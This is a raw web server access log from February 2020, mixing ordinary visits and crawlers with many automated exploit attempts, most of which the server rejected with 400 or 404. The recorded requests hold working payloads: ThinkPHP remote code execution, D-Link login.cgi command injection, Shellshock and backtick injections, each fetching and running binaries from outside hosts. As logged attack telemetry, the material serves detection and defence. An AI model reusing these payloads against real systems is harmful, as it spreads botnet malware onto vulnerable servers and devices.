183.80.89.4 - - [10/Feb/2020:04:47:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
35.163.12.11 - - [10/Feb/2020:04:47:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36"
183.80.88.113 - - [10/Feb/2020:04:48:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.23.53 - - [10/Feb/2020:04:49:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.116.100.236 - - [10/Feb/2020:04:50:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
85.114.39.30 - - [10/Feb/2020:04:51:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
151.73.93.158 - - [10/Feb/2020:04:53:09 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
86.11.179.221 - - [10/Feb/2020:04:54:25 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
113.23.99.94 - - [10/Feb/2020:04:54:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
77.40.243.46 - - [10/Feb/2020:04:59:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
112.72.77.157 - - [10/Feb/2020:05:00:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
202.93.231.20 - - [10/Feb/2020:05:02:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
45.58.123.178 - - [10/Feb/2020:05:02:44 +0100] "POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0" 404 323 "-" "-"
118.71.143.108 - - [10/Feb/2020:05:02:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
84.62.65.104 - - [10/Feb/2020:05:07:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
42.117.38.50 - - [10/Feb/2020:05:12:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.105.27.14 - - [10/Feb/2020:05:12:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [10/Feb/2020:05:13:01 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [10/Feb/2020:05:13:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [10/Feb/2020:05:13:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.80.94.50 - - [10/Feb/2020:05:13:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.105.27.14 - - [10/Feb/2020:05:13:43 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
41.41.55.59 - - [10/Feb/2020:05:15:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
179.223.150.97 - - [10/Feb/2020:05:21:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
113.188.241.112 - - [10/Feb/2020:05:22:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
31.42.3.76 - - [10/Feb/2020:05:26:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
188.138.75.107 - - [10/Feb/2020:05:27:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.107 - - [10/Feb/2020:05:27:08 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.107 - - [10/Feb/2020:05:27:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.107 - - [10/Feb/2020:05:27:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
5.178.87.50 - - [10/Feb/2020:05:28:03 +0100] "GET // HTTP/1.1" 200 1229 "-" "() { :;};echo; /bin/bash -c \" echo 2014 | md5sum\""
5.178.87.50 - - [10/Feb/2020:05:28:09 +0100] "GET //cgi-sys/realsignup.cgi HTTP/1.1" 404 327 "-" "() { :;};echo; /bin/bash -c \" echo 2014 | md5sum\""
5.178.87.50 - - [10/Feb/2020:05:28:15 +0100] "GET //cgi-bin/test-cgi HTTP/1.1" 404 321 "-" "() { :;};echo; /bin/bash -c \" echo 2014 | md5sum\""
5.178.87.50 - - [10/Feb/2020:05:28:21 +0100] "GET //cgi-bin/test.cgi HTTP/1.1" 404 321 "-" "() { :;};echo; /bin/bash -c \" echo 2014 | md5sum\""
182.160.116.83 - - [10/Feb/2020:05:29:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
192.241.224.123 - - [10/Feb/2020:05:31:30 +0100] "GET /manager/text/list HTTP/1.1" 404 322 "-" "Mozilla/5.0 zgrab/0.x"
192.241.224.123 - - [10/Feb/2020:05:31:32 +0100] "GET /manager/text/list HTTP/1.1" 404 322 "-" "Mozilla/5.0 zgrab/0.x"
1.52.242.187 - - [10/Feb/2020:05:31:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
192.241.224.123 - - [10/Feb/2020:05:31:41 +0100] "GET /manager/text/list HTTP/1.1" 404 322 "-" "Mozilla/5.0 zgrab/0.x"
192.241.224.123 - - [10/Feb/2020:05:33:39 +0100] "GET /manager/text/list HTTP/1.1" 404 322 "-" "Mozilla/5.0 zgrab/0.x"
192.241.224.123 - - [10/Feb/2020:05:33:51 +0100] "GET /manager/text/list HTTP/1.1" 404 322 "-" "Mozilla/5.0 zgrab/0.x"
193.198.66.62 - - [10/Feb/2020:05:34:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
192.241.224.123 - - [10/Feb/2020:05:35:32 +0100] "GET /manager/text/list HTTP/1.1" 404 322 "-" "Mozilla/5.0 zgrab/0.x"
192.241.224.123 - - [10/Feb/2020:05:35:47 +0100] "GET /manager/text/list HTTP/1.1" 404 322 "-" "Mozilla/5.0 zgrab/0.x"
192.241.224.123 - - [10/Feb/2020:05:35:55 +0100] "GET /manager/text/list HTTP/1.1" 404 322 "-" "Mozilla/5.0 zgrab/0.x"
2.134.242.89 - - [10/Feb/2020:05:36:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
113.22.191.70 - - [10/Feb/2020:05:38:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
192.241.224.123 - - [10/Feb/2020:05:39:55 +0100] "GET /manager/text/list HTTP/1.1" 404 322 "-" "Mozilla/5.0 zgrab/0.x"
103.50.152.158 - - [10/Feb/2020:05:42:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
118.68.35.187 - - [10/Feb/2020:05:45:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
185.97.113.217 - - [10/Feb/2020:05:46:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
1.53.129.4 - - [10/Feb/2020:05:48:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
179.53.92.94 - - [10/Feb/2020:05:53:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
176.231.116.221 - - [10/Feb/2020:05:53:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
109.94.114.168 - - [10/Feb/2020:05:56:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
35.163.12.11 - - [10/Feb/2020:05:57:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36"
208.114.149.10 - - [10/Feb/2020:05:59:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
37.151.84.252 - - [10/Feb/2020:06:00:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.118.87.198 - - [10/Feb/2020:06:04:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.113.229.154 - - [10/Feb/2020:06:08:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.68.65.76 - - [10/Feb/2020:06:08:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
36.78.26.21 - - [10/Feb/2020:06:10:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
54.191.113.2 - - [10/Feb/2020:06:10:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36"
37.49.230.69 - - [10/Feb/2020:06:17:13 +0100] "GET //login_sid.lua HTTP/1.1" 404 318 "-" "python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-042stab141.3"
95.59.212.89 - - [10/Feb/2020:06:17:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
169.197.108.6 - - [10/Feb/2020:06:19:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
81.180.86.47 - - [10/Feb/2020:06:19:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
37.49.230.69 - - [10/Feb/2020:06:20:03 +0100] "GET //login_sid.lua HTTP/1.1" 404 318 "-" "python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-042stab141.3"
113.22.43.215 - - [10/Feb/2020:06:21:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.101.0.209 - - [10/Feb/2020:06:21:23 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
112.161.111.175 - - [10/Feb/2020:06:22:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
112.161.111.175 - - [10/Feb/2020:06:22:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
112.161.111.175 - - [10/Feb/2020:06:22:40 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
112.161.111.175 - - [10/Feb/2020:06:22:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
112.161.111.175 - - [10/Feb/2020:06:23:16 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
5.101.0.209 - - [10/Feb/2020:06:23:17 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [10/Feb/2020:06:23:39 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [10/Feb/2020:06:25:43 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
171.229.214.100 - - [10/Feb/2020:06:28:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
169.197.108.6 - - [10/Feb/2020:06:28:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
80.26.154.92 - - [10/Feb/2020:06:30:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
117.60.129.113 - - [10/Feb/2020:06:31:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
164.68.112.178 - - [10/Feb/2020:06:32:44 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36"
5.79.192.54 - - [10/Feb/2020:06:37:17 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
31.148.9.218 - - [10/Feb/2020:06:37:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
31.148.9.218 - - [10/Feb/2020:06:37:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
112.161.111.175 - - [10/Feb/2020:06:43:47 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
112.161.111.175 - - [10/Feb/2020:06:43:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
112.161.111.175 - - [10/Feb/2020:06:43:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
112.161.111.175 - - [10/Feb/2020:06:44:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
112.161.111.175 - - [10/Feb/2020:06:44:33 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
119.152.58.237 - - [10/Feb/2020:06:44:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
124.6.232.78 - - [10/Feb/2020:06:44:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
82.191.134.50 - - [10/Feb/2020:06:51:12 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear%60 HTTP/1.1" 400 341 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
73.33.112.155 - - [10/Feb/2020:06:53:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.22.50.235 - - [10/Feb/2020:06:53:38 +0100] "GET /shell?cd+/tmp;rm+-rf+.j;wget+http:/\\/91.92.66.124/..j/.j;chmod+777+.j;sh+.j;echo+DONE HTTP/1.1" 400 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36"
42.115.174.80 - - [10/Feb/2020:06:53:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
193.198.66.62 - - [10/Feb/2020:06:54:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
121.151.184.97 - - [10/Feb/2020:06:55:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
136.32.84.131 - - [10/Feb/2020:06:57:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
164.52.24.163 - - [10/Feb/2020:06:57:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [10/Feb/2020:07:00:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
164.68.112.178 - - [10/Feb/2020:07:00:35 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36"
164.68.112.178 - - [10/Feb/2020:07:00:39 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36"
